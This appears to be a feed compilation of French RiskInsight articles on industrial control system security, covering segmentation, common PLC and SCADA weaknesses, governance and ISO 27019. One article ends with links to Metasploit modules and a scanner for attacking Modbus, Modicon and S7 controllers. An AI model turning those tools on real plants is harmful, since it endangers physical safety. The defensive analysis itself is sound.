Besoin métier et sécurité : la quadrature du cercle ?

Dans bien des cas, on observe un besoin élevé de remonter vers le SI de gestion des données « procédé » en vue de les analyser. Et ce pour différentes raisons : calcul d’optimisation, calcul financier, supply chain, Big data…

Selon la méthode de l’ANSSI, une installation de classe 3 ne peut communiquer avec le SI de gestion que de façon unidirectionnelle via l’utilisation d’une diode. Mettre en œuvre ce genre de technologie peut parfois relever de l’impossible : impossibilité d’avoir du temps réel, incompatibilité des solutions d’historisation des données procédé… Dans ce cas, on découpera l’installation en sous-systèmes de façon à pouvoir lui attribuer différents niveaux de classe. Un sous-système de classe 2 peut communiquer de façon bidirectionnelle avec le SI de gestion, tandis que le sous-système le plus critique de classe 3 n’est autorisé à communiquer unidirectionnellement qu’avec ce sous-système de classe 2. Cette approche peut notamment être considérée pour les systèmes de sûreté.

Si dans certains cas cela peut sembler réaliste, c’est parfois beaucoup plus complexe. L’exemple d’installations s’appuyant sur des SNCC (Système Numérique de Contrôle Commande) montre que les systèmes de sûreté, ou Systèmes instrumentés de sécurité (SIS), peuvent être totalement imbriqués avec les systèmes de conduite : mutualisation des capteurs pour les automates de conduite et de sûreté, automates assurant à la fois des fonctions de conduite et de sûreté.

Deux solutions opposées sont possibles

Deux solutions extrêmes sont peut-être à envisager. La première consisterait à revoir un certain nombre de process supports associés au procédé industriel pour permettre un cloisonnement fort des SI Industriels vis-à-vis des SI de gestion. La deuxième serait de revenir à des solutions « moins connectées » : désimbrication totale du SIS, dédoublement des capteurs, automates / contrôleurs de sûreté dédiés et isolés, recours à la logique « câblée », automates et contrôleurs non « modifiables ». Ces deux solutions peuvent sonner comme un retour en arrière. Le meilleur compromis réside sans doute dans une approche plus souple, fondée sur le bon sens et une gestion réaliste du risque.

Cet article Architecture de sécurité des SI Industriels : de la théorie à la pratique est apparu en premier sur RiskInsight.

Une sécurisation insuffisante, voire inexistante

Les automates programmables industriels (API), en charge de l’interface avec le monde physique, n’intègrent souvent que peu de fonctions de sécurité et les failles de sécurité publiques les concernant sont nombreuses. L’ICS-CERT a ainsi publié près d’une centaine de bulletins de vulnérabilités sur des composants industriels. Les protocoles de communication utilisés sont un des maillons faibles de la chaîne. Ces protocoles, parmi lesquels on peut citer Modbus, permettent l’échange de consignes ou de valeurs en clair, sans chiffrement.

De même, les possibilités d’authentification des actions sont souvent limitées, permettant à n’importe quel attaquant ayant accès au réseau de modifier les consignes des automates et ainsi d’influer sur leur comportement. Les interfaces d’administration des automates sont par ailleurs souvent protégées par des mots de passe par défaut, jamais changés, et qui parfois ne peuvent pas l’être. Les systèmes plus intégrés appelés SNCC (Systèmes Numériques de Contrôle-Commande) ne sont pas garants d’une sécurité accrue, les protocoles propriétaires utilisés n’apportant pas forcément une réelle couche de sécurité.

La situation est identique pour les PC de supervision ou de programmation qui sont souvent des équipements reposant sur des technologies standard, tels que des systèmes d’exploitation Microsoft Windows. Malheureusement, l’expérience sécurité acquise sur le SI de gestion pour ces équipements profite rarement à leur sécurisation sur la partie industrielle. Les étapes de durcissement sécurité sont rares, de même que l’application de correctifs de sécurité, ou encore la présence d’un antivirus. Il est fréquent de pouvoir prendre le contrôle de ces systèmes par l’exploitation d’une faille de sécurité datant de près de 6 ans.

Un cloisonnement tout à fait relatif

De plus, les équipements du SI Industriel sont très largement interfacés avec les SI de gestion. Le cloisonnement entre ces deux mondes est souvent permissif. Il arrive même que le filtrage autorise l’accès à certains équipements industriels depuis l’ensemble du réseau interne d’une entreprise, ce qui peut représenter plusieurs dizaines de milliers de machines.
Les postes de programmation et clés USB constituent également des vecteurs d’attaques puisqu’ils sont connectés à des réseaux de niveau de sécurité hétérogène, voire à des environnements non-maîtrisés (par exemple dans le cas de sous-traitants).

Pire encore, il arrive trop souvent que des équipements industriels soient accessibles directement sur internet. Il existe même des moteurs de recherche dédiés à la recherche d’équipements exposés sur internet, Shodan étant le plus connu. Près de 1500 équipements Modbus sont ainsi recensés en France sur Shodan et plus de 20 000 dans le monde.

Un constat d’échec ?

Il ne s’agit néanmoins pas de se lamenter. Bien que le niveau de sécurité actuellement constaté soit faible, il est possible de mener des actions d’amélioration. Au-delà des concepts d’architecture qui permettent de cloisonner ces équipements vulnérables, la vraie, seule solution à long terme consiste à développer de nouveaux produits, sécurisés by design. Bien sûr, les fruits de ce travail ne se verront que sur les nouvelles installations, et pas avant plusieurs dizaines d’années. On peut espérer que la prise de conscience globale des parties prenantes, ainsi que l’implication des instances gouvernementales accélèrent ce changement.
En attendant il semble aujourd’hui nécessaire de déporter les fonctions sécurité sur des équipements dédiés, comme des passerelles encapsulant le trafic réseau dans un tunnel chiffré, ou bien des pare-feu ou IPS disposant de modules spécifiques aux protocoles industriels.

Enfin, il faut également savoir tirer parti d’une des faiblesses des SI Industriels : leur durée de vie et la complexité de changements. En effet, la mise en place d’une supervision sécurité sera facilitée par le caractère figé des réseaux industriels : il est rare que de nouveaux équipements soient installés ou que la topologie réseau soit modifiée. De même, l’emploi d’une solution de contrôle d’exécution par liste blanche sera plus facile sur un PC industriel n’exécutant qu’un seul logiciel de supervision que sur un poste de travail bureautique.

1 – http://www.rapid7.com/db/modules/auxiliary/scanner/scada/modbusclient
2 – https://github.com/arnaudsoullie/metasploit-framework/blob/modicon_stux_transfer/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
3 – https://github.com/arnaudsoullie/scan7

Cet article Niveau de sécurité des SI Industriels : les vulnérabilités les plus courantes est apparu en premier sur RiskInsight.

Initier la démarche de sécurisation

Avant d’entreprendre de grands chantiers de sécurité, il est important de savoir d’où l’on part. Le SII est-il vulnérable ? Dans quelle mesure est-il ouvert sur l’extérieur ? Quel est son véritable niveau d’exposition face aux nouvelles menaces ?

Trois approches différentes permettent de répondre à ces questions. L’audit « flash » sur les sites les plus sensibles ou ayant connu un incident récent, permet d’identifier rapidement les vulnérabilités et les zones non protégées. L’analyse de risques d’un processus industriel permet de son côté d’estimer les impacts financiers, humains et environnementaux en cas d’incident. Un bilan de conformité consiste quant à lui à demander à chaque site industriel d’évaluer son niveau de sécurité sur la base d’un questionnaire. Si cette dernière approche est moins concrète et fiable, elle permet d’avoir une vision globale plus rapidement. Il n’y a pas de chemin type : les trois approches peuvent être utilisées ou combinées. Elles doivent aussi être l’occasion de mobiliser la direction générale et les directions métiers dont l’engagement et l’implication dans la durée sont nécessaires.

Mettre en place une filière sécurité des SI industriels

La mise en place d’une gouvernance globale de la sécurité des SII est essentielle pour augmenter le niveau de sécurité dans la durée. Cela passe par la nomination d’un Responsable de la sécurité des SII chargé de la définir, de la mettre en œuvre et de l’animer. Qu’il vienne du Métier, du monde de la DSI, de la sécurité SI ou du monde industriel (automatisme, sûreté, etc.), il doit être capable de jouer le rôle de facilitateur entre ces différentes sphères. La connaissance du métier industriel et les qualités humaines sont donc à privilégier lors de son identification plutôt qu’une expertise en sécurité. Son rattachement peut être à étudier en fonction du contexte de l’entreprise : s’il est courant qu’il fasse partie des équipes sécurité SI, il est parfois directement rattaché aux Métiers concernés.

Le Responsable de la sécurité des SII pourra s’appuyer sur un réseau de correspondants qui se feront le relais de la stratégie et des actions sur les différents sites industriels. Il développera également des relations étroites avec des acteurs incontournables du SII :

Intégrer la sécurité dès la conception

Cet article SI industriel et sécurité : oser la transformation (partie 2) est apparu en premier sur RiskInsight.

 Des systèmes bien spécifiques…

Les SII permettent d’assurer le pilotage des outils de production (chaînes de montage, machines-outils, fours, scanners médicaux, climatisations, aiguillages, pipelines, etc.). De plus en plus ouverts, ils deviennent une vraie passerelle entre les processus de production et le Système d’Information de Gestion (SIG) de l’entreprise.Un SII est souvent modélisé en différentes  couches. La première couche concerne le  procédé physique lui-même. La seconde regroupe les capteurs, actuateurs, actionneurs et autres composants électroniques intelligents (IED) qui interagissent physiquement avec le procédé. La troisième couche assure la supervision et le pilotage du procédé. Elle est composée d’éléments tels que les SCADA (Supervisory Control and Data Acquisition), des automates ou PLC (Programmable Logic Controller) et des équipements distants, les RTU (Remote Terminal Unit). La quatrième couche regroupe les fonctions et outils de management des opérations de production.

Enfin, la cinquième et dernière couche est tournée vers les fonctions avancées de planification, la logistique ou l’approvisionnement, souvent interfacée avec les ERP. Initialement développés pour l’industrie, les  systèmes construits sur le même modèle se sont largement répandus. Systèmes embarqués dans les voitures ou avions, imagerie  médicale (scanner, IRM, etc.), systèmes plus  étendus comme les smart grids, etc. : les SII sont devenus omniprésents !

 …et des menaces accrues

À l’origine les SII étaient isolés au sein d’un  site ou d’une usine, mais aujourd’hui ils  se doivent d’être largement interconnectés pour accroître productivité et compétitivité.
Cette interconnexion permet de nombreux nouveaux usages mais augmente considérablement l’exposition aux cyberattaques. La majorité de ces systèmes n’ont en effet pas été conçus pour une ouverture sécurisée et sont d’autant plus vulnérables.

Ainsi, depuis plusieurs années les attaques d’États ou d’individus malveillants se multiplient. Les conséquences peuvent être considérables pour la sécurité des biens et des personnes, avec des scénarios graves menant par exemple au déversement de produits toxiques dans des systèmes de gestion des eaux ou l’explosion de pipelines. Des risques de confidentialité sont également présents : l’accès aux chaînes de production autorise l’accès à des secrets de fabrication industriels et le vol de propriété intellectuelle.

Les États réagissent pour faire face aux menaces sur ces systèmes. Sur le continent nord-Américain, la conformité au standard NERC-CIP est devenue obligatoire pour les opérateurs de réseaux électriques. En France, l’ANSSI a déjà lancé plusieurs initiatives qui visent à définir un cadre de protection minimum pour les installations les plus critiques. Les entreprises doivent donc dès maintenant se préparer pour être en capacité de répondre à ces nouvelles exigences.

 Penser la sécurité des SII différemment

La sécurisation des SII nécessite d’intégrer de nouvelles contraintes pour définir des solutions adaptées. En effet, vouloir appliquer les bonnes pratiques de sécurité conventionnelles serait une erreur car les SI industriels présentent des caractéristiques différentes des SI de gestion.

L’échelle de temps est bien spécifique. Les lignes de production sont souvent conçues pour une durée de vie de l’ordre de 10 à 15 ans, parfois même au-delà. Par exemple, dans certains secteurs comme celui des réseaux électriques, les équipements sont censés être en place pendant plusieurs dizaines d’années.

La disponibilité et la sûreté sont au cœur des attentions. Dans cet univers spécifique, le critère de disponibilité est primordial. De plus, dans les environnements à risques (SEVESO, nucléaire, etc.) le maintien des fonctions de sûreté qui assurent la protection des hommeset de l’environnement est essentiel.

Les fournisseurs imposent des solutions packagées de bout en bout. Et ils sont souvent réticents à appliquer les bonnes pratiques de sécurité, même lorsque leurs systèmes reposent sur des solutions peu sécurisées issues des SI de gestion… Si des améliorations ont déjà été notées, le chemin à parcourir reste long.

Les contextes d’implantation sont particuliers et rendent le maintien en condition opérationnelle de la sécurité complexe. Il n’est pas rare d’avoir une partie du système (voire le système entier) localisée des sites distants, parfois inoccupés, difficiles d’accès, et où les conditions peuvent être « hostiles ».

Cela concerne par exemple les SII présents sur les plates-formes pétrolières, les pipelines gaziers ou pétroliers, ou encore les réseaux d’eau.

Dans ces conditions, comment initier une démarche de sécurisation ? Quelles sont les premières étapes ? (à suivre).

Cet article SI industriel et sécurité : oser la transformation (partie 1) est apparu en premier sur RiskInsight.

Cette nouvelle norme s’inscrit à la suite de publications de guide ou de référentiels en matière de sécurité des SI industriels. Qu’ils proviennent d’agences gouvernementales (NSA, BSI, ANSSI, ENISA), de différentes organisations sectorielles (AIEA, NERC…) ou d’organismes de normalisation et de standardisation nationaux ou internationaux (NIST, IEC, ISO), la plupart de ces documents s’adressent aux personnes en prise directe avec les systèmes industriels. Leur compréhension s’avère ainsi souvent difficile pour les RSSI ou DSI qui voient les réseaux industriels arriver dans leur périmètre.

Tous ces acteurs s’accordent néanmoins sur une chose :  une démarche volontaire de sécurisation des SI industriels est indispensable. La norme 27019 est-elle le bon outil pour cela ?  Que faut-il en retenir ?

ISO 27019 : la petite sœur de l’ISO 27002 pour le secteur de l’énergie

Cette norme se présente comme un complément à l’ISO 27002. Le document reprend la structure de ce guide de bonnes pratiques tout en y intégrant les spécificités des SI industriels, notamment par l’ajout de nouvelles sections.

L’ISO 27019 complète et donne des précisions quant à la mise en œuvre de mesures de sécurité dans le contexte particulier des systèmes industriels du secteur de l’énergie. Cependant, les informations qu’elle apporte s’appliquent à d’autres secteurs, dès lors que cohabitent SI bureautique et SI industriel.

Il s’agit donc d’une base de départ particulièrement utile pour un RSSI à qui revient la responsabilité de la sécurité sur le périmètre du système d’information industriel et qui ne sait pas par où commencer. Déjà familier des standards de la famille ISO 27000, il n’aura aucun mal à utiliser ce guide complémentaire.

Un concentré de sécurité pour les SI Industriels

En se focalisant uniquement sur les spécificités des SI industriels, l’ISO 27019 tente d’aller à l’essentiel. Parmi les mesures de sécurité qu’elle propose, nous pouvons relever les points suivants.

Les exigences d’inventaires sont précises et incluent des exemples d’actifs de type industriel (plans des réseaux de distributions, données de mesures et télémesures, données de paramétrage des équipements, SCADA, logiciel de gestion et d’optimisation de l’énergie, système de planification, automates, RTU, équipements de protection incendie et sismique, IED, capteurs…).

Le document  rappelle à plusieurs reprises à quel point il est essentiel de veiller à l’identification des risques relatifs à l’écosystème industriel. Les intégrateurs, fournisseurs et personnels de maintenance, l’interconnexion avec des systèmes tiers, la difficulté de protéger des équipements situés dans des lieux difficiles d’accès ou inoccupés, des lieux publics, ou encore des locaux de tiers sont mentionnés.

Les principes de cloisonnement sont largement abordés. Ils reposent sur les concepts de zones et de conduits mis en avant dans l’IEC 62443. Il s’agit alors d’envisager des zones plus ou moins étanches en fonction des niveaux de criticité de chaque pan du SI industriel et du SI de gestion.

L’ISO 27019 souligne également les risques provenant des systèmes dits « historiques », potentiellement très vulnérables car rarement – voire jamais – tenus à jour. Il faut les identifier, en avoir une cartographie précise pour ensuite assurer une supervision et des contrôles adaptés, voire envisager d’en isoler certains.

En termes d’évolution du SI industriel, le recours à des simulateurs et des environnements dédiés de développements est recommandé sans pour autant être une obligation suivant le contexte. La mise en place de mesures particulières pour protéger les codes automates est également mentionnée.

Enfin, le fait de prendre en compte les aspects sécurité dans les contrats avec les tiers est précisé, en particulier avec les opérateurs télécoms : mesures de gestion de crises et de communication d’urgence en cas de blackout, anticipation du risque de surcharge…

Cette liste n’est certes pas exhaustive mais donne un premier aperçu de la déclinaison des mesures de l’ISO 27002 dans un contexte industriel. Une lecture détaillée est nécessaire pour appréhender ce sujet dans son ensemble.

Au-delà de la sécurité, la nécessité d’intégrer les responsables sureté aux réflexions

Des  mesures additionnelles concernent la problématique de « sûreté ». Tant au niveau d’un site et des bâtiments (localisation de salles, risque de séismes, inondation, manipulation de matières dangereuse, incendies…) qu’au niveau des installations (isolation et protection des systèmes de sureté, interdiction d’accès à distance, journalisation…), il est nécessaire pour le RSSI de travailler conjointement avec les équipes sureté en place. Il s’agit d’un facteur clé de succès de la sécurisation des SI Industriels.

Alors, l’ISO 27019 peut-elle vraiment aider ?

Les initiatives de l’ISO se veulent être des consensus. L’ISO 27019 permettra surtout de se poser les bonnes questions et de dresser un premier bilan de l’alignement de son SI industriel vis-à-vis de la norme. Toutes les réponses ne s’y trouvent certes pas, mais les questions soulevées incitent les RSSI et l’ensemble des responsables des SI industriels à réfléchir ensemble pour concevoir la sécurité des SI Industriels de demain.

Si l’ISO 27002 est devenue LA référence en matière de sécurité des SI d’entreprise, il est encore trop tôt pour se prononcer vis-à-vis de l’ISO 27019. De prochaines évolutions sont déjà à prévoir tout simplement parce que la structure adoptée est en ligne avec la version 2005 de l’ISO 27002. Une nouvelle version de l’ISO 27002 est attendue prochainement et sa structure a été entièrement revue.

Dans tous les cas, l’ISO 27019 est certainement le moyen le plus simple pour les RSSI d’aborder les spécificités des systèmes industriels !

Cet article Sécuriser un SI Industriel : la norme ISO 27019 peut-elle (vraiment) vous aider ? est apparu en premier sur RiskInsight.